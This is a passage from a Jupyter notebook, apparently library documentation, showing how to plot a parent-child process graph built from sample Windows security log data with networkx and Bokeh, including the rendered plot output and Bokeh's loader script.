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",
      "text/plain": [
       "<Figure size 432x288 with 1 Axes>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "nx.draw(nx_graph)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Plotting a Network\n",
    "\n",
    "Using Bokeh plotting gives you interactivity as well as a more\n",
    "informative display.\n",
    "\n",
    "You can build and plot a graph in a single operation\n",
    "using the `mp_plot.network` accessor method.\n",
    "\n",
    "You can use the standard Bokeh tools to select nodes and\n",
    "edges, to zoom and pan around the network graph and to hover over\n",
    "elements to reveal attribute values.\n",
    "\n",
    "Note: Bokeh graph plotting does not support interactive\n",
    "dragging of nodes and recalculation of the layout.\n"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 31,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "\n",
       "    <div class=\"bk-root\">\n",
       "        <a href=\"https://bokeh.org\" target=\"_blank\" class=\"bk-logo bk-logo-small bk-logo-notebook\"></a>\n",
       "        <span id=\"4088\">Loading BokehJS ...</span>\n",
       "    </div>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "application/javascript": "\n(function(root) {\n  function now() {\n    return new Date();\n  }\n\n  const force = true;\n\n  if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n    root._bokeh_onload_callbacks = [];\n    root._bokeh_is_loading = undefined;\n  }\n\n  const JS_MIME_TYPE = 'application/javascript';\n  const HTML_MIME_TYPE = 'text/html';\n  const EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\n  const CLASS_NAME = 'output_bokeh rendered_html';\n\n  /**\n   * Render data to the DOM node\n   */\n  function render(props, node) {\n    const script = document.createElement(\"script\");\n    node.appendChild(script);\n  }\n\n  /**\n   * Handle when an output is cleared or removed\n   */\n  function handleClearOutput(event, handle) {\n    const cell = handle.cell;\n\n    const id = cell.output_area._bokeh_element_id;\n    const server_id = cell.output_area._bokeh_server_id;\n    // Clean up Bokeh references\n    if (id != null && id in Bokeh.index) {\n      Bokeh.index[id].model.document.clear();\n      delete Bokeh.index[id];\n    }\n\n    if (server_id !== undefined) {\n      // Clean up Bokeh references\n      const cmd_clean = \"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\" + server_id + \"'].get_sessions()[0].document.roots[0]._id)\";\n      cell.notebook.kernel.execute(cmd_clean, {\n        iopub: {\n          output: function(msg) {\n            const id = msg.content.text.trim();\n            if (id in Bokeh.index) {\n              Bokeh.index[id].model.document.clear();\n              delete Bokeh.index[id];\n            }\n          }\n        }\n      });\n      // Destroy server and session\n      const cmd_destroy = \"import bokeh.io.notebook as ion; ion.destroy_server('\" + server_id + \"')\";\n      cell.notebook.kernel.execute(cmd_destroy);\n    }\n  }\n\n  /**\n   * Handle when a new output is added\n   */\n  function handleAddOutput(event, handle) {\n    const output_area = handle.output_area;\n    const output = handle.output;\n\n    // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\n    if ((output.output_type != \"display_data\") || (!Object.prototype.hasOwnProperty.call(output.data, EXEC_MIME_TYPE))) {\n      return\n    }\n\n    const toinsert = output_area.element.find(\".\" + CLASS_NAME.split(' ')[0]);\n\n    if (output.metadata[EXEC_MIME_TYPE][\"id\"] !== undefined) {\n      toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\n      // store reference to embed id on output_area\n      output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\"id\"];\n    }\n    if (output.metadata[EXEC_MIME_TYPE][\"server_id\"] !== undefined) {\n      const bk_div = document.createElement(\"div\");\n      bk_div.innerHTML = output.data[HTML_MIME_TYPE];\n      const script_attrs = bk_div.children[0].attributes;\n      for (let i = 0; i < script_attrs.length; i++) {\n        toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\n        toinsert[toinsert.length - 1].firstChild.textContent = bk_div.children[0].textContent\n      }\n      // store reference to server id on output_area\n      output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\"server_id\"];\n    }\n  }\n\n  function register_renderer(events, OutputArea) {\n\n    function append_mime(data, metadata, element) {\n      // create a DOM node to render to\n      const toinsert = this.create_output_subarea(\n        metadata,\n        CLASS_NAME,\n        EXEC_MIME_TYPE\n      );\n      this.keyboard_manager.register_events(toinsert);\n      // Render to node\n      const props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\n      render(props, toinsert[toinsert.length - 1]);\n      element.append(toinsert);\n      return toinsert\n    }\n\n    /* Handle when an output is cleared or removed */\n    events.on('clear_output.CodeCell', handleClearOutput);\n    events.on('delete.Cell', handleClearOutput);\n\n    /* Handle when a new output is added */\n    events.on('output_added.OutputArea', handleAddOutput);\n\n    /**\n     * Register the mime type and append_mime function with output_area\n     */\n    OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\n      /* Is output safe? */\n      safe: true,\n      /* Index of renderer in `output_area.display_order` */\n      index: 0\n    });\n  }\n\n  // register the mime type if in Jupyter Notebook environment and previously unregistered\n  if (root.Jupyter !== undefined) {\n    const events = require('base/js/events');\n    const OutputArea = require('notebook/js/outputarea').OutputArea;\n\n    if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\n      register_renderer(events, OutputArea);\n    }\n  }\n\n  \n  if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n    root._bokeh_timeout = Date.now() + 5000;\n    root._bokeh_failed_load = false;\n  }\n\n  const NB_LOAD_WARNING = {'data': {'text/html':\n     \"<div style='background-color: #fdd'>\\n\"+\n     \"<p>\\n\"+\n     \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n     \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n     \"</p>\\n\"+\n     \"<ul>\\n\"+\n     \"<li>re-rerun `output_notebook()` to attempt to load from CDN again, or</li>\\n\"+\n     \"<li>use INLINE resources instead, as so:</li>\\n\"+\n     \"</ul>\\n\"+\n     \"<code>\\n\"+\n     \"from bokeh.resources import INLINE\\n\"+\n     \"output_notebook(resources=INLINE)\\n\"+\n     \"</code>\\n\"+\n     \"</div>\"}};\n\n  function display_loaded() {\n    const el = document.getElementById(\"4088\");\n    if (el != null) {\n      el.textContent = \"BokehJS is loading...\";\n    }\n    if (root.Bokeh !== undefined) {\n      if (el != null) {\n        el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n      }\n    } else if (Date.now() < root._bokeh_timeout) {\n      setTimeout(display_loaded, 100)\n    }\n  }\n\n\n  function run_callbacks() {\n    try {\n      root._bokeh_onload_callbacks.forEach(function(callback) {\n        if (callback != null)\n          callback();\n      });\n    } finally {\n      delete root._bokeh_onload_callbacks\n    }\n    console.debug(\"Bokeh: all callbacks have finished\");\n  }\n\n  function load_libs(css_urls, js_urls, callback) {\n    if (css_urls == null) css_urls = [];\n    if (js_urls == null) js_urls = [];\n\n    root._bokeh_onload_callbacks.push(callback);\n    if (root._bokeh_is_loading > 0) {\n      console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n      return null;\n    }\n    if (js_urls == null || js_urls.length === 0) {\n      run_callbacks();\n      return null;\n    }\n    console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n    root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n    function on_load() {\n      root._bokeh_is_loading--;\n      if (root._bokeh_is_loading === 0) {\n        console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n        run_callbacks()\n      }\n    }\n\n    function on_error(url) {\n      console.error(\"failed to load \" + url);\n    }\n\n    for (let i = 0; i < css_urls.length; i++) {\n      const url = css_urls[i];\n      const element = document.createElement(\"link\");\n      element.onload = on_load;\n      element.onerror = on_error.bind(null, url);\n      element.rel = \"stylesheet\";\n      element.type = \"text/css\";\n      element.href = url;\n      console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n      document.body.appendChild(element);\n    }\n\n    for (let i = 0; i < js_urls.length; i++) {\n      const url = js_urls[i];\n      const element = document.createElement('script');\n      element.onload = on_load;\n      element.onerror = on_error.bind(null, url);\n      element.async = false;\n      element.src = url;\n      console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n      document.head.appendChild(element);\n    }\n  };\n\n  function inject_raw_css(css) {\n    const element = document.createElement(\"style\");\n    element.appendChild(document.createTextNode(css));\n    document.body.appendChild(element);\n  }\n\n  \n  const js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.4.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.4.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.4.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.4.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-mathjax-2.4.2.min.js\"];\n  const css_urls = [];\n  \n\n  const inline_js = [\n    function(Bokeh) {\n      Bokeh.set_log_level(\"info\");\n    },\n    function(Bokeh) {\n    \n    \n    }\n  ];\n\n  function run_inline_js() {\n    \n    if (root.Bokeh !== undefined || force === true) {\n      \n    for (let i = 0; i < inline_js.length; i++) {\n      inline_js[i].call(root, root.Bokeh);\n    }\n    if (force === true) {\n        display_loaded();\n      }} else if (Date.now() < root._bokeh_timeout) {\n      setTimeout(run_inline_js, 100);\n    } else if (!root._bokeh_failed_load) {\n      console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n      root._bokeh_failed_load = true;\n    } else if (force !== true) {\n      const cell = $(document.getElementById(\"4088\")).parents('.cell').data().cell;\n      cell.output_area.append_execute_result(NB_LOAD_WARNING)\n    }\n\n  }\n\n  if (root._bokeh_is_loading === 0) {\n    console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n    run_inline_js();\n  } else {\n    load_libs(css_urls, js_urls, function() {\n      console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n      run_inline_js();\n    });\n  }\n}(window));",
      "application/vnd.bokehjs_load.v0+json": ""
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "\n",
       "\n",
       "\n",
       "\n",
       "\n",
       "\n",
       "  <div class=\"bk-root\" id=\"b99d0801-740b-4be2-9cab-8a972955c09e\" data-root-id=\"4089\"></div>\n"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "application/javascript": "(function(root) {\n  function embed_document(root) {\n    \n  const docs_json = {\"678804c8-2db0-4e87-8447-8bc578042ebb\":{\"defs\":[],\"roots\":{\"references\":[{\"attributes\":{\"below\":[{\"id\":\"4100\"}],\"center\":[{\"id\":\"4103\"},{\"id\":\"4107\"},{\"id\":\"4180\"},{\"id\":\"4181\"},{\"id\":\"4182\"},{\"id\":\"4183\"},{\"id\":\"4184\"},{\"id\":\"4185\"},{\"id\":\"4186\"},{\"id\":\"4187\"},{\"id\":\"4188\"},{\"id\":\"4189\"},{\"id\":\"4190\"},{\"id\":\"4191\"},{\"id\":\"4192\"},{\"id\":\"4193\"},{\"id\":\"4194\"},{\"id\":\"4195\"},{\"id\":\"4196\"},{\"id\":\"4197\"},{\"id\":\"4198\"},{\"id\":\"4199\"}],\"height\":800,\"left\":[{\"id\":\"4104\"}],\"renderers\":[{\"id\":\"4122\"}],\"title\":{\"id\":\"4090\"},\"toolbar\":{\"id\":\"4115\"},\"width\":800,\"x_range\":{\"id\":\"4092\"},\"x_scale\":{\"id\":\"4096\"},\"y_range\":{\"id\":\"4094\"},\"y_scale\":{\"id\":\"4098\"}},\"id\":\"4089\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"4124\"},\"glyph\":{\"id\":\"4151\"},\"group\":null,\"hover_glyph\":{\"id\":\"4156\"},\"selection_glyph\":{\"id\":\"4161\"},\"view\":{\"id\":\"4126\"}},\"id\":\"4125\",\"type\":\"GlyphRenderer\"},{\"attributes\":{},\"id\":\"4408\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"doubleextension.pdf.exe\",\"text_font_size\":\"10pt\",\"x\":0.156722293174482,\"x_offset\":5,\"y\":-0.2664129254744687,\"y_offset\":5},\"id\":\"4198\",\"type\":\"Label\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"vssadmin.exe\",\"text_font_size\":\"10pt\",\"x\":0.24097206121206763,\"x_offset\":5,\"y\":-0.2335930627582164,\"y_offset\":5},\"id\":\"4199\",\"type\":\"Label\"},{\"attributes\":{\"source\":{\"id\":\"4124\"}},\"id\":\"4126\",\"type\":\"CDSView\"},{\"attributes\":{\"fill_color\":{\"field\":\"node_color\"},\"size\":{\"value\":25}},\"id\":\"4151\",\"type\":\"Circle\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"Data Graph\"},\"id\":\"4090\",\"type\":\"Title\"},{\"attributes\":{},\"id\":\"4399\",\"type\":\"BasicTickFormatter\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"4128\"},\"glyph\":{\"id\":\"4141\"},\"group\":null,\"hover_glyph\":{\"id\":\"4136\"},\"selection_glyph\":{\"id\":\"4146\"},\"view\":{\"id\":\"4130\"}},\"id\":\"4129\",\"type\":\"GlyphRenderer\"},{\"attributes\":{},\"id\":\"4400\",\"type\":\"AllLabels\"},{\"attributes\":{\"source\":{\"id\":\"4128\"}},\"id\":\"4130\",\"type\":\"CDSView\"},{\"attributes\":{\"bottom_units\":\"screen\",\"coordinates\":null,\"fill_alpha\":0.5,\"fill_color\":\"lightgrey\",\"group\":null,\"left_units\":\"screen\",\"level\":\"overlay\",\"line_alpha\":1.0,\"line_color\":\"black\",\"line_dash\":[4,4],\"line_width\":2,\"right_units\":\"screen\",\"syncable\":false,\"top_units\":\"screen\"},\"id\":\"4405\",\"type\":\"BoxAnnotation\"},{\"attributes\":{\"line_color\":{\"value\":\"#fdae61\"},\"line_width\":{\"value\":5}},\"id\":\"4146\",\"type\":\"MultiLine\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\",\"text_font_size\":\"10pt\",\"x\":-0.49325891568738983,\"x_offset\":5,\"y\":-0.7478722523492244,\"y_offset\":5},\"id\":\"4182\",\"type\":\"Label\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"1234.exe\",\"text_font_size\":\"10pt\",\"x\":0.2920043777787248,\"x_offset\":5,\"y\":0.40307193581620293,\"y_offset\":5},\"id\":\"4193\",\"type\":\"Label\"},{\"attributes\":{\"fill_color\":{\"value\":\"#fdae61\"},\"size\":{\"value\":25}},\"id\":\"4161\",\"type\":\"Circle\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"reg.exe\",\"text_font_size\":\"10pt\",\"x\":0.18209714883620237,\"x_offset\":5,\"y\":0.10663990099750396,\"y_offset\":5},\"id\":\"4188\",\"type\":\"Label\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"netsh.exe\",\"text_font_size\":\"10pt\",\"x\":0.06832203088743351,\"x_offset\":5,\"y\":-0.24401667060801638,\"y_offset\":5},\"id\":\"4195\",\"type\":\"Label\"},{\"attributes\":{},\"id\":\"4402\",\"type\":\"BasicTickFormatter\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"cscript.exe\",\"text_font_size\":\"10pt\",\"x\":-0.9560173249286427,\"x_offset\":5,\"y\":0.30412157558603736,\"y_offset\":5},\"id\":\"4186\",\"type\":\"Label\"},{\"attributes\":{\"data\":{\"end\":[\"ASMHost.exe\",\"cscript.exe\",\"conhost.exe\",\"WmiPrvSE.exe\",\"reg.exe\",\"cmd.exe\",\"rundll32.exe\",\"tsetup.1.exe\",\"netsh.exe\",\"perfc.dat\",\"sdopfjiowtbkjfnbeioruj.exe\",\"doubleextension.pdf.exe\",\"vssadmin.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\rundll32.exe\",\"42424.exe\",\"1234.exe\"],\"start\":[\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\MonitoringHost.exe\",\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\MonitoringHost.exe\",\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\",\"C:\\\\Windows\\\\System32\\\\svchost.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"reg.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\rundll32.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\rundll32.exe\"]},\"selected\":{\"id\":\"4409\"},\"selection_policy\":{\"id\":\"4408\"}},\"id\":\"4128\",\"type\":\"ColumnDataSource\"},{\"attributes\":{},\"id\":\"4409\",\"type\":\"Selection\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"tsetup.1.exe\",\"text_font_size\":\"10pt\",\"x\":0.09287101603534852,\"x_offset\":5,\"y\":-0.008210592872698215,\"y_offset\":5},\"id\":\"4194\",\"type\":\"Label\"},{\"attributes\":{},\"id\":\"4108\",\"type\":\"PanTool\"},{\"attributes\":{\"callback\":null},\"id\":\"4175\",\"type\":\"TapTool\"},{\"attributes\":{\"coordinates\":null,\"edge_renderer\":{\"id\":\"4129\"},\"group\":null,\"inspection_policy\":{\"id\":\"4168\"},\"layout_provider\":{\"id\":\"4135\"},\"node_renderer\":{\"id\":\"4125\"},\"selection_policy\":{\"id\":\"4166\"}},\"id\":\"4122\",\"type\":\"GraphRenderer\"},{\"attributes\":{},\"id\":\"4403\",\"type\":\"AllLabels\"},{\"attributes\":{\"line_alpha\":{\"value\":0.8}},\"id\":\"4141\",\"type\":\"MultiLine\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"cmd.exe\",\"text_font_size\":\"10pt\",\"x\":0.00976177585195186,\"x_offset\":5,\"y\":-0.17189790764248009,\"y_offset\":5},\"id\":\"4189\",\"type\":\"Label\"},{\"attributes\":{\"callback\":null,\"renderers\":[{\"id\":\"4125\"}],\"tooltips\":[[\"node_type\",\"@node_type\"]]},\"id\":\"4174\",\"type\":\"HoverTool\"},{\"attributes\":{\"data\":{\"index\":[\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\MonitoringHost.exe\",\"ASMHost.exe\",\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\",\"conhost.exe\",\"C:\\\\Windows\\\\System32\\\\svchost.exe\",\"WmiPrvSE.exe\",\"cscript.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"reg.exe\",\"cmd.exe\",\"rundll32.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\rundll32.exe\",\"42424.exe\",\"1234.exe\",\"tsetup.1.exe\",\"netsh.exe\",\"perfc.dat\",\"sdopfjiowtbkjfnbeioruj.exe\",\"doubleextension.pdf.exe\",\"vssadmin.exe\"],\"node_color\":[\"lightblue\",\"lightgreen\",\"lightblue\",\"lightgreen\",\"lightblue\",\"lightgreen\",\"lightgreen\",\"lightblue\",\"lightgreen\",\"lightgreen\",\"lightgreen\",\"lightblue\",\"lightgreen\",\"lightgreen\",\"lightgreen\",\"lightgreen\",\"lightgreen\",\"lightgreen\",\"lightgreen\",\"lightgreen\"],\"node_role\":[\"source\",\"target\",\"source\",\"target\",\"source\",\"target\",\"target\",\"source\",\"target\",\"target\",\"target\",\"source\",\"target\",\"target\",\"target\",\"target\",\"target\",\"target\",\"target\",\"target\"],\"node_type\":[\"ParentProcessName\",\"Process\",\"ParentProcessName\",\"Process\",\"ParentProcessName\",\"Process\",\"Process\",\"ParentProcessName\",\"Process\",\"Process\",\"Process\",\"ParentProcessName\",\"Process\",\"Process\",\"Process\",\"Process\",\"Process\",\"Process\",\"Process\",\"Process\"]},\"selected\":{\"id\":\"4407\"},\"selection_policy\":{\"id\":\"4406\"}},\"id\":\"4124\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"coordinates\":null,\"formatter\":{\"id\":\"4399\"},\"group\":null,\"major_label_policy\":{\"id\":\"4400\"},\"ticker\":{\"id\":\"4105\"}},\"id\":\"4104\",\"type\":\"LinearAxis\"},{\"attributes\":{},\"id\":\"4098\",\"type\":\"LinearScale\"},{\"attributes\":{\"end\":3,\"start\":-3},\"id\":\"4092\",\"type\":\"Range1d\"},{\"attributes\":{},\"id\":\"4101\",\"type\":\"BasicTicker\"},{\"attributes\":{\"axis\":{\"id\":\"4104\"},\"coordinates\":null,\"dimension\":1,\"group\":null,\"ticker\":null},\"id\":\"4107\",\"type\":\"Grid\"},{\"attributes\":{},\"id\":\"4109\",\"type\":\"WheelZoomTool\"},{\"attributes\":{\"coordinates\":null,\"formatter\":{\"id\":\"4402\"},\"group\":null,\"major_label_policy\":{\"id\":\"4403\"},\"ticker\":{\"id\":\"4101\"}},\"id\":\"4100\",\"type\":\"LinearAxis\"},{\"attributes\":{},\"id\":\"4111\",\"type\":\"SaveTool\"},{\"attributes\":{},\"id\":\"4105\",\"type\":\"BasicTicker\"},{\"attributes\":{\"axis\":{\"id\":\"4100\"},\"coordinates\":null,\"group\":null,\"ticker\":null},\"id\":\"4103\",\"type\":\"Grid\"},{\"attributes\":{\"end\":3,\"start\":-3},\"id\":\"4094\",\"type\":\"Range1d\"},{\"attributes\":{},\"id\":\"4166\",\"type\":\"NodesAndLinkedEdges\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"WmiPrvSE.exe\",\"text_font_size\":\"10pt\",\"x\":0.899664311184538,\"x_offset\":5,\"y\":0.4237305554976566,\"y_offset\":5},\"id\":\"4185\",\"type\":\"Label\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"C:\\\\Diagnostics\\\\UserTmp\\\\rundll32.exe\",\"text_font_size\":\"10pt\",\"x\":0.21246357282985687,\"x_offset\":5,\"y\":0.2988936521969849,\"y_offset\":5},\"id\":\"4191\",\"type\":\"Label\"},{\"attributes\":{\"overlay\":{\"id\":\"4405\"}},\"id\":\"4176\",\"type\":\"BoxSelectTool\"},{\"attributes\":{},\"id\":\"4406\",\"type\":\"UnionRenderers\"},{\"attributes\":{},\"id\":\"4407\",\"type\":\"Selection\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"ASMHost.exe\",\"text_font_size\":\"10pt\",\"x\":-1.0,\"x_offset\":5,\"y\":0.1788434332493711,\"y_offset\":5},\"id\":\"4181\",\"type\":\"Label\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"sdopfjiowtbkjfnbeioruj.exe\",\"text_font_size\":\"10pt\",\"x\":0.2897534511372489,\"x_offset\":5,\"y\":-0.15457215911156177,\"y_offset\":5},\"id\":\"4197\",\"type\":\"Label\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"C:\\\\Windows\\\\System32\\\\svchost.exe\",\"text_font_size\":\"10pt\",\"x\":0.8686737446415249,\"x_offset\":5,\"y\":0.5042842983535453,\"y_offset\":5},\"id\":\"4184\",\"type\":\"Label\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"text_font_size\":\"10pt\",\"x\":0.14558591292273712,\"x_offset\":5,\"y\":-0.11419882757452116,\"y_offset\":5},\"id\":\"4187\",\"type\":\"Label\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"conhost.exe\",\"text_font_size\":\"10pt\",\"x\":-0.5702548615343969,\"x_offset\":5,\"y\":-0.7850018606508093,\"y_offset\":5},\"id\":\"4183\",\"type\":\"Label\"},{\"attributes\":{},\"id\":\"4168\",\"type\":\"EdgesAndLinkedNodes\"},{\"attributes\":{},\"id\":\"4096\",\"type\":\"LinearScale\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"42424.exe\",\"text_font_size\":\"10pt\",\"x\":0.1718395998692014,\"x_offset\":5,\"y\":0.4268649807655825,\"y_offset\":5},\"id\":\"4192\",\"type\":\"Label\"},{\"attributes\":{\"bottom_units\":\"screen\",\"coordinates\":null,\"fill_alpha\":0.5,\"fill_color\":\"lightgrey\",\"group\":null,\"left_units\":\"screen\",\"level\":\"overlay\",\"line_alpha\":1.0,\"line_color\":\"black\",\"line_dash\":[4,4],\"line_width\":2,\"right_units\":\"screen\",\"syncable\":false,\"top_units\":\"screen\"},\"id\":\"4114\",\"type\":\"BoxAnnotation\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"C:\\\\Program Files\\\\Microsoft Monitoring 